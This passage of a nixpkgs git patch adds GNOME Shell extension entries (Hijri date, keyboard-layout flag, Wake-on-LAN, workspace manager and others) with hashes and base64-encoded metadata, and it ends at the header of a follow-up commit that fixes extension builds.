+    "48": {"version": "2", "sha256": "1yhw57k3p7rxv10bwfav06h2vbhp3awjfwjmsi7fca7nxydc19hc", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXlzIHRoZSBjdXJyZW50IHdvcmtzcGFjZSBuYW1lIGluIHRoZSBwYW5lbCIsCiAgIm5hbWUiOiAiQ3VycmVudCBXb3Jrc3BhY2UgTmFtZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vamF5YmVldW5peC9nbm9tZS1zaGVsbC1leHRlbnNpb24tY3VycmVudHdvcmtzcGFjZW5hbWUiLAogICJ1dWlkIjogImN1cnJlbnR3b3Jrc3BhY2VuYW1lQGpheWJlZXVuaXguZGV2IiwKICAidmVyc2lvbiI6IDIKfQ=="}
+  }}
+, {"uuid": "al-hijri-date@saad.ibn.ezzoubayr", "name": "Al-Hijri Date", "pname": "al-hijri-date", "description": "Display the current Hijri (Islamic) date in the top panel. Also known as the Islamic calendar, Arabic date, or Muslim lunar calendar, this extension shows the traditional Islamic dating system with customization options.", "link": "https://extensions.gnome.org/extension/8236/al-hijri-date/", "shell_version_map": {
+    "45": {"version": "3", "sha256": "0w0da8ac7azhnj991c9g9fvxinahkzl9cyb0pky76mpah8308qpb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgdGhlIGN1cnJlbnQgSGlqcmkgKElzbGFtaWMpIGRhdGUgaW4gdGhlIHRvcCBwYW5lbC4gQWxzbyBrbm93biBhcyB0aGUgSXNsYW1pYyBjYWxlbmRhciwgQXJhYmljIGRhdGUsIG9yIE11c2xpbSBsdW5hciBjYWxlbmRhciwgdGhpcyBleHRlbnNpb24gc2hvd3MgdGhlIHRyYWRpdGlvbmFsIElzbGFtaWMgZGF0aW5nIHN5c3RlbSB3aXRoIGN1c3RvbWl6YXRpb24gb3B0aW9ucy4iLAogICJuYW1lIjogIkFsLUhpanJpIERhdGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYWwtaGlqcmktZGF0ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9jb2RlYmVyZy5vcmcvSWJuLUV6em91YmF5ci9BbC1IaWpyaV9EYXRlX0dub21lX2V4dGVuc2lvbiIsCiAgInV1aWQiOiAiYWwtaGlqcmktZGF0ZUBzYWFkLmlibi5lenpvdWJheXIiLAogICJ2ZXJzaW9uIjogMwp9"},
+    "46": {"version": "3", "sha256": "0w0da8ac7azhnj991c9g9fvxinahkzl9cyb0pky76mpah8308qpb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgdGhlIGN1cnJlbnQgSGlqcmkgKElzbGFtaWMpIGRhdGUgaW4gdGhlIHRvcCBwYW5lbC4gQWxzbyBrbm93biBhcyB0aGUgSXNsYW1pYyBjYWxlbmRhciwgQXJhYmljIGRhdGUsIG9yIE11c2xpbSBsdW5hciBjYWxlbmRhciwgdGhpcyBleHRlbnNpb24gc2hvd3MgdGhlIHRyYWRpdGlvbmFsIElzbGFtaWMgZGF0aW5nIHN5c3RlbSB3aXRoIGN1c3RvbWl6YXRpb24gb3B0aW9ucy4iLAogICJuYW1lIjogIkFsLUhpanJpIERhdGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYWwtaGlqcmktZGF0ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9jb2RlYmVyZy5vcmcvSWJuLUV6em91YmF5ci9BbC1IaWpyaV9EYXRlX0dub21lX2V4dGVuc2lvbiIsCiAgInV1aWQiOiAiYWwtaGlqcmktZGF0ZUBzYWFkLmlibi5lenpvdWJheXIiLAogICJ2ZXJzaW9uIjogMwp9"},
+    "48": {"version": "3", "sha256": "0w0da8ac7azhnj991c9g9fvxinahkzl9cyb0pky76mpah8308qpb", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkRpc3BsYXkgdGhlIGN1cnJlbnQgSGlqcmkgKElzbGFtaWMpIGRhdGUgaW4gdGhlIHRvcCBwYW5lbC4gQWxzbyBrbm93biBhcyB0aGUgSXNsYW1pYyBjYWxlbmRhciwgQXJhYmljIGRhdGUsIG9yIE11c2xpbSBsdW5hciBjYWxlbmRhciwgdGhpcyBleHRlbnNpb24gc2hvd3MgdGhlIHRyYWRpdGlvbmFsIElzbGFtaWMgZGF0aW5nIHN5c3RlbSB3aXRoIGN1c3RvbWl6YXRpb24gb3B0aW9ucy4iLAogICJuYW1lIjogIkFsLUhpanJpIERhdGUiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuYWwtaGlqcmktZGF0ZSIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDUiLAogICAgIjQ2IiwKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9jb2RlYmVyZy5vcmcvSWJuLUV6em91YmF5ci9BbC1IaWpyaV9EYXRlX0dub21lX2V4dGVuc2lvbiIsCiAgInV1aWQiOiAiYWwtaGlqcmktZGF0ZUBzYWFkLmlibi5lenpvdWJheXIiLAogICJ2ZXJzaW9uIjogMwp9"}
+  }}
+, {"uuid": "bandera@inbalboa.github.io", "name": "Bandera - Keyboard Layout Indicator", "pname": "bandera-keyboard-layout-indicator", "description": "Shows the current keyboard layout as a country flag in the top panel", "link": "https://extensions.gnome.org/extension/8237/bandera-keyboard-layout-indicator/", "shell_version_map": {
+    "48": {"version": "1", "sha256": "13xyhmlpanqjv13gkk0b42p4m7vf77jwmghp3q8ca3dg24jd45gx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3dzIHRoZSBjdXJyZW50IGtleWJvYXJkIGxheW91dCBhcyBhIGNvdW50cnkgZmxhZyBpbiB0aGUgdG9wIHBhbmVsIiwKICAiZG9uYXRpb25zIjogewogICAgImdpdGh1YiI6ICJpbmJhbGJvYSIKICB9LAogICJnZXR0ZXh0LWRvbWFpbiI6ICJiYW5kZXJhIiwKICAibmFtZSI6ICJCYW5kZXJhIC0gS2V5Ym9hcmQgTGF5b3V0IEluZGljYXRvciIsCiAgInNldHRpbmdzLXNjaGVtYSI6ICJvcmcuZ25vbWUuc2hlbGwuZXh0ZW5zaW9ucy5iYW5kZXJhIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9naXRodWIuY29tL2luYmFsYm9hL2dub21lLWJhbmRlcmEvIiwKICAidXVpZCI6ICJiYW5kZXJhQGluYmFsYm9hLmdpdGh1Yi5pbyIsCiAgInZlcnNpb24iOiAxLAogICJ2ZXJzaW9uLW5hbWUiOiAiMS4xLjAiCn0="}
+  }}
+, {"uuid": "wol@mnorlin.se", "name": "Wake-on-LAN", "pname": "wake-on-lan", "description": "Send Wake-on-LAN (WOL) packets to servers", "link": "https://extensions.gnome.org/extension/8239/wake-on-lan/", "shell_version_map": {
+    "48": {"version": "2", "sha256": "1k4wzzipg934vjgxb39zjpx3j2qdqrdyn0j3h2jn4cjdrs5d2s39", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNlbmQgV2FrZS1vbi1MQU4gKFdPTCkgcGFja2V0cyB0byBzZXJ2ZXJzIiwKICAiZ2V0dGV4dC1kb21haW4iOiAid29sQG1ub3JsaW4uc2UiLAogICJuYW1lIjogIldha2Utb24tTEFOIiwKICAic2V0dGluZ3Mtc2NoZW1hIjogIm9yZy5nbm9tZS5zaGVsbC5leHRlbnNpb25zLndvbCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9tbm9ybGluL2dub21lLXNoZWxsLWV4dGVuc2lvbi13b2wiLAogICJ1dWlkIjogIndvbEBtbm9ybGluLnNlIiwKICAidmVyc2lvbiI6IDIKfQ=="}
+  }}
+, {"uuid": "smart-workspace-manager@local", "name": "Smart Workspace Manager", "pname": "smart-workspace-manager", "description": "Adds intelligent multi-monitor workspace behavior to GNOME. When you switch workspaces on one monitor, this extension detects the active monitor (via mouse focus) and automatically shifts windows on other monitors to match — giving each screen a flexible, independent workspace feel.", "link": "https://extensions.gnome.org/extension/8242/smart-workspace-manager/", "shell_version_map": {
+    "45": {"version": "5", "sha256": "074vnfnspljf5mnrxjkahh56ynr5n5xn3h5s6lvyhkpblplpaalm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaW50ZWxsaWdlbnQgbXVsdGktbW9uaXRvciB3b3Jrc3BhY2UgYmVoYXZpb3IgdG8gR05PTUUuIFdoZW4geW91IHN3aXRjaCB3b3Jrc3BhY2VzIG9uIG9uZSBtb25pdG9yLCB0aGlzIGV4dGVuc2lvbiBkZXRlY3RzIHRoZSBhY3RpdmUgbW9uaXRvciAodmlhIG1vdXNlIGZvY3VzKSBhbmQgYXV0b21hdGljYWxseSBzaGlmdHMgd2luZG93cyBvbiBvdGhlciBtb25pdG9ycyB0byBtYXRjaCBcdTIwMTQgZ2l2aW5nIGVhY2ggc2NyZWVuIGEgZmxleGlibGUsIGluZGVwZW5kZW50IHdvcmtzcGFjZSBmZWVsLiIsCiAgIm5hbWUiOiAiU21hcnQgV29ya3NwYWNlIE1hbmFnZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZXZvcHMtZHVkZS1kaW5vZGFtL3NtYXJ0LXdvcmtzcGFjZS1tYW5hZ2VyIiwKICAidXVpZCI6ICJzbWFydC13b3Jrc3BhY2UtbWFuYWdlckBsb2NhbCIsCiAgInZlcnNpb24iOiA1Cn0="},
+    "46": {"version": "5", "sha256": "074vnfnspljf5mnrxjkahh56ynr5n5xn3h5s6lvyhkpblplpaalm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaW50ZWxsaWdlbnQgbXVsdGktbW9uaXRvciB3b3Jrc3BhY2UgYmVoYXZpb3IgdG8gR05PTUUuIFdoZW4geW91IHN3aXRjaCB3b3Jrc3BhY2VzIG9uIG9uZSBtb25pdG9yLCB0aGlzIGV4dGVuc2lvbiBkZXRlY3RzIHRoZSBhY3RpdmUgbW9uaXRvciAodmlhIG1vdXNlIGZvY3VzKSBhbmQgYXV0b21hdGljYWxseSBzaGlmdHMgd2luZG93cyBvbiBvdGhlciBtb25pdG9ycyB0byBtYXRjaCBcdTIwMTQgZ2l2aW5nIGVhY2ggc2NyZWVuIGEgZmxleGlibGUsIGluZGVwZW5kZW50IHdvcmtzcGFjZSBmZWVsLiIsCiAgIm5hbWUiOiAiU21hcnQgV29ya3NwYWNlIE1hbmFnZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZXZvcHMtZHVkZS1kaW5vZGFtL3NtYXJ0LXdvcmtzcGFjZS1tYW5hZ2VyIiwKICAidXVpZCI6ICJzbWFydC13b3Jrc3BhY2UtbWFuYWdlckBsb2NhbCIsCiAgInZlcnNpb24iOiA1Cn0="},
+    "47": {"version": "5", "sha256": "074vnfnspljf5mnrxjkahh56ynr5n5xn3h5s6lvyhkpblplpaalm", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkFkZHMgaW50ZWxsaWdlbnQgbXVsdGktbW9uaXRvciB3b3Jrc3BhY2UgYmVoYXZpb3IgdG8gR05PTUUuIFdoZW4geW91IHN3aXRjaCB3b3Jrc3BhY2VzIG9uIG9uZSBtb25pdG9yLCB0aGlzIGV4dGVuc2lvbiBkZXRlY3RzIHRoZSBhY3RpdmUgbW9uaXRvciAodmlhIG1vdXNlIGZvY3VzKSBhbmQgYXV0b21hdGljYWxseSBzaGlmdHMgd2luZG93cyBvbiBvdGhlciBtb25pdG9ycyB0byBtYXRjaCBcdTIwMTQgZ2l2aW5nIGVhY2ggc2NyZWVuIGEgZmxleGlibGUsIGluZGVwZW5kZW50IHdvcmtzcGFjZSBmZWVsLiIsCiAgIm5hbWUiOiAiU21hcnQgV29ya3NwYWNlIE1hbmFnZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9kZXZvcHMtZHVkZS1kaW5vZGFtL3NtYXJ0LXdvcmtzcGFjZS1tYW5hZ2VyIiwKICAidXVpZCI6ICJzbWFydC13b3Jrc3BhY2UtbWFuYWdlckBsb2NhbCIsCiAgInZlcnNpb24iOiA1Cn0="}
+  }}
+, {"uuid": "uxplay-control@xxanqw", "name": "UXPlay Control", "pname": "uxplay-control", "description": "Control UXPlay AirPlay server from the top bar", "link": "https://extensions.gnome.org/extension/8243/uxplay-control/", "shell_version_map": {
+    "45": {"version": "2", "sha256": "0vrck9j4w2qajlwbk07hy8ap16s164d89ay9ilhrs9nvh9rjhmwr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgVVhQbGF5IEFpclBsYXkgc2VydmVyIGZyb20gdGhlIHRvcCBiYXIiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJ1eHBsYXktY29udHJvbCIsCiAgIm5hbWUiOiAiVVhQbGF5IENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudXhwbGF5LWNvbnRyb2wiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL3h4YW5xdy5wcC51YS8iLAogICJ1dWlkIjogInV4cGxheS1jb250cm9sQHh4YW5xdyIsCiAgInZlcnNpb24iOiAyCn0="},
+    "46": {"version": "2", "sha256": "0vrck9j4w2qajlwbk07hy8ap16s164d89ay9ilhrs9nvh9rjhmwr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgVVhQbGF5IEFpclBsYXkgc2VydmVyIGZyb20gdGhlIHRvcCBiYXIiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJ1eHBsYXktY29udHJvbCIsCiAgIm5hbWUiOiAiVVhQbGF5IENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudXhwbGF5LWNvbnRyb2wiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL3h4YW5xdy5wcC51YS8iLAogICJ1dWlkIjogInV4cGxheS1jb250cm9sQHh4YW5xdyIsCiAgInZlcnNpb24iOiAyCn0="},
+    "47": {"version": "2", "sha256": "0vrck9j4w2qajlwbk07hy8ap16s164d89ay9ilhrs9nvh9rjhmwr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgVVhQbGF5IEFpclBsYXkgc2VydmVyIGZyb20gdGhlIHRvcCBiYXIiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJ1eHBsYXktY29udHJvbCIsCiAgIm5hbWUiOiAiVVhQbGF5IENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudXhwbGF5LWNvbnRyb2wiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL3h4YW5xdy5wcC51YS8iLAogICJ1dWlkIjogInV4cGxheS1jb250cm9sQHh4YW5xdyIsCiAgInZlcnNpb24iOiAyCn0="},
+    "48": {"version": "2", "sha256": "0vrck9j4w2qajlwbk07hy8ap16s164d89ay9ilhrs9nvh9rjhmwr", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkNvbnRyb2wgVVhQbGF5IEFpclBsYXkgc2VydmVyIGZyb20gdGhlIHRvcCBiYXIiLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJ1eHBsYXktY29udHJvbCIsCiAgIm5hbWUiOiAiVVhQbGF5IENvbnRyb2wiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMudXhwbGF5LWNvbnRyb2wiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ1IiwKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL3h4YW5xdy5wcC51YS8iLAogICJ1dWlkIjogInV4cGxheS1jb250cm9sQHh4YW5xdyIsCiAgInZlcnNpb24iOiAyCn0="}
+  }}
+, {"uuid": "hydrationreminder@daxog.github.io", "name": "Hydration Reminder", "pname": "hydration-reminder", "description": "Reminder to drink water", "link": "https://extensions.gnome.org/extension/8244/hydration-reminder/", "shell_version_map": {
+    "48": {"version": "4", "sha256": "0fhrrq7wq64kdqd69x3xm6jafjk7hh10rwhyhpk4v8paxw49bv1f", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlJlbWluZGVyIHRvIGRyaW5rIHdhdGVyIiwKICAibmFtZSI6ICJIeWRyYXRpb24gUmVtaW5kZXIiLAogICJzZXR0aW5ncy1zY2hlbWEiOiAib3JnLmdub21lLnNoZWxsLmV4dGVuc2lvbnMuaHlkcmF0aW9ucmVtaW5kZXIiLAogICJzaGVsbC12ZXJzaW9uIjogWwogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vZGF4b2cvaHlkcmF0aW9uLXJlbWluZGVyIiwKICAidXVpZCI6ICJoeWRyYXRpb25yZW1pbmRlckBkYXhvZy5naXRodWIuaW8iLAogICJ2ZXJzaW9uIjogNAp9"}
+  }}
+, {"uuid": "systemd-offline-update@swsnr.de", "name": "Systemd Offline Update Indicator", "pname": "systemd-offline-update-indicator", "description": "Show an indicator for pending systemd offline updates.", "link": "https://extensions.gnome.org/extension/8245/systemd-offline-update-indicator/", "shell_version_map": {
+    "48": {"version": "7", "sha256": "1labwhpd0z9b1c2lxvf4bx3bqsv1c14dp26s4ajkrz8hvdnksfsz", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNob3cgYW4gaW5kaWNhdG9yIGZvciBwZW5kaW5nIHN5c3RlbWQgb2ZmbGluZSB1cGRhdGVzLiIsCiAgImdldHRleHQtZG9tYWluIjogInN5c3RlbWQtb2ZmbGluZS11cGRhdGVAc3dzbnIuZGUiLAogICJuYW1lIjogIlN5c3RlbWQgT2ZmbGluZSBVcGRhdGUgSW5kaWNhdG9yIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0OCIKICBdLAogICJ1cmwiOiAiaHR0cHM6Ly9jb2RlYmVyZy5vcmcvc3dzbnIvZ25vbWUtc2hlbGwtZXh0ZW5zaW9uLXN5c3RlbWQtb2ZmbGluZS11cGRhdGUiLAogICJ1dWlkIjogInN5c3RlbWQtb2ZmbGluZS11cGRhdGVAc3dzbnIuZGUiLAogICJ2ZXJzaW9uIjogNywKICAidmVyc2lvbi1uYW1lIjogIjQ4LjYiCn0="}
+  }}
+, {"uuid": "ascii-emoji@masood.masaeli", "name": "ASCII Emoji", "pname": "ascii-emoji", "description": "A GNOME Shell extension for copying ASCII emojis into the clipboard", "link": "https://extensions.gnome.org/extension/8246/ascii-emoji/", "shell_version_map": {
+    "46": {"version": "4", "sha256": "0bd5sdrcsj6jamwnd16w7vmxkcdciilx3qrikfxjv3g3lb9dg4zf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR05PTUUgU2hlbGwgZXh0ZW5zaW9uIGZvciBjb3B5aW5nIEFTQ0lJIGVtb2ppcyBpbnRvIHRoZSBjbGlwYm9hcmQiLAogICJuYW1lIjogIkFTQ0lJIEVtb2ppIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbW1hc2FlbGkvYXNjaWktZW1vamktZ25vbWUtc2hlbGwtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJhc2NpaS1lbW9qaUBtYXNvb2QubWFzYWVsaSIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "47": {"version": "4", "sha256": "0bd5sdrcsj6jamwnd16w7vmxkcdciilx3qrikfxjv3g3lb9dg4zf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR05PTUUgU2hlbGwgZXh0ZW5zaW9uIGZvciBjb3B5aW5nIEFTQ0lJIGVtb2ppcyBpbnRvIHRoZSBjbGlwYm9hcmQiLAogICJuYW1lIjogIkFTQ0lJIEVtb2ppIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbW1hc2FlbGkvYXNjaWktZW1vamktZ25vbWUtc2hlbGwtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJhc2NpaS1lbW9qaUBtYXNvb2QubWFzYWVsaSIsCiAgInZlcnNpb24iOiA0Cn0="},
+    "48": {"version": "4", "sha256": "0bd5sdrcsj6jamwnd16w7vmxkcdciilx3qrikfxjv3g3lb9dg4zf", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIkEgR05PTUUgU2hlbGwgZXh0ZW5zaW9uIGZvciBjb3B5aW5nIEFTQ0lJIGVtb2ppcyBpbnRvIHRoZSBjbGlwYm9hcmQiLAogICJuYW1lIjogIkFTQ0lJIEVtb2ppIiwKICAic2hlbGwtdmVyc2lvbiI6IFsKICAgICI0NiIsCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbW1hc2FlbGkvYXNjaWktZW1vamktZ25vbWUtc2hlbGwtZXh0ZW5zaW9uIiwKICAidXVpZCI6ICJhc2NpaS1lbW9qaUBtYXNvb2QubWFzYWVsaSIsCiAgInZlcnNpb24iOiA0Cn0="}
+  }}
+, {"uuid": "gnome-oyainput-indicator@shimamu.github.com", "name": "Oyainput Indicator", "pname": "oyainput-indicator", "description": "Shows the running status of oyainput (running, paused, or not started) in the GNOME top bar.", "link": "https://extensions.gnome.org/extension/8248/oyainput-indicator/", "shell_version_map": {
+    "48": {"version": "2", "sha256": "095afl9a758qwn7x57x2l4cmsnj2mv6r7ih9cnnmsbvhxi7310ni", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImF1dGhvciI6ICJzaGltYW11IiwKICAiZGVzY3JpcHRpb24iOiAiU2hvd3MgdGhlIHJ1bm5pbmcgc3RhdHVzIG9mIG95YWlucHV0IChydW5uaW5nLCBwYXVzZWQsIG9yIG5vdCBzdGFydGVkKSBpbiB0aGUgR05PTUUgdG9wIGJhci4iLAogICJnZXR0ZXh0LWRvbWFpbiI6ICJnbm9tZS1veWFpbnB1dC1pbmRpY2F0b3IiLAogICJuYW1lIjogIk95YWlucHV0IEluZGljYXRvciIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDgiCiAgXSwKICAidXJsIjogImh0dHBzOi8vZ2l0aHViLmNvbS9zaGltYW11L2dub21lLW95YWlucHV0LWluZGljYXRvciIsCiAgInV1aWQiOiAiZ25vbWUtb3lhaW5wdXQtaW5kaWNhdG9yQHNoaW1hbXUuZ2l0aHViLmNvbSIsCiAgInZlcnNpb24iOiAyCn0="}
+  }}
+, {"uuid": "category-sorted-app-grid@noobping.dev", "name": "Category sorted App Grid", "pname": "category-sorted-app-grid", "description": "Sorts the GNOME Overview app grid by category.", "link": "https://extensions.gnome.org/extension/8252/category-sorted-app-grid/", "shell_version_map": {
+    "47": {"version": "3", "sha256": "19izlxv03ijghr3idnynvjggm8vjdm0m0ass6psjs5snya3svxvx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNvcnRzIHRoZSBHTk9NRSBPdmVydmlldyBhcHAgZ3JpZCBieSBjYXRlZ29yeS4iLAogICJuYW1lIjogIkNhdGVnb3J5IHNvcnRlZCBBcHAgR3JpZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbm9vYnBpbmcvY2F0ZWdvcnktc29ydGVkLWFwcC1ncmlkIiwKICAidXVpZCI6ICJjYXRlZ29yeS1zb3J0ZWQtYXBwLWdyaWRAbm9vYnBpbmcuZGV2IiwKICAidmVyc2lvbiI6IDMKfQ=="},
+    "48": {"version": "3", "sha256": "19izlxv03ijghr3idnynvjggm8vjdm0m0ass6psjs5snya3svxvx", "metadata": "ewogICJfZ2VuZXJhdGVkIjogIkdlbmVyYXRlZCBieSBTd2VldFRvb3RoLCBkbyBub3QgZWRpdCIsCiAgImRlc2NyaXB0aW9uIjogIlNvcnRzIHRoZSBHTk9NRSBPdmVydmlldyBhcHAgZ3JpZCBieSBjYXRlZ29yeS4iLAogICJuYW1lIjogIkNhdGVnb3J5IHNvcnRlZCBBcHAgR3JpZCIsCiAgInNoZWxsLXZlcnNpb24iOiBbCiAgICAiNDciLAogICAgIjQ4IgogIF0sCiAgInVybCI6ICJodHRwczovL2dpdGh1Yi5jb20vbm9vYnBpbmcvY2F0ZWdvcnktc29ydGVkLWFwcC1ncmlkIiwKICAidXVpZCI6ICJjYXRlZ29yeS1zb3J0ZWQtYXBwLWdyaWRAbm9vYnBpbmcuZGV2IiwKICAidmVyc2lvbiI6IDMKfQ=="}
   }}
 ]

From 54643e4c38a03b7b8770cafb18fe3c731fbf1755 Mon Sep 17 00:00:00 2001
From: Honnip <me@honnip.page>
Date: Sun, 8 Jun 2025 12:35:59 +0900
Subject: [PATCH 1349/4511] gnomeExtensions.{password-calculator,teatimer}: fix
 build

(cherry picked from commit 3a19d4ef08264a940cbd5e376d6db924e0aeef80)
---
 .../gnome/extensions/extensionOverrides.nix        | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/pkgs/desktops/gnome/extensions/extensionOverrides.nix b/pkgs/desktops/gnome/extensions/extensionOverrides.nix
index 6dda124d7033..1045d8f7f266 100644
